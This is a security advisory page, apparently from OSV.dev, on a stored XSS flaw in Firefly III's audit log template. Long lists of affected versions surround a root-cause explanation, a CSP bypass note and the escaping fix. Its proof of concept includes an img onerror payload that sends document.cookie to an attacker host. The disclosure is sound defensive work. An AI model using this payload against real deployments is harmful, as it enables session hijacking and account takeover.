
          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 07, 2025

Activity

Reach

Details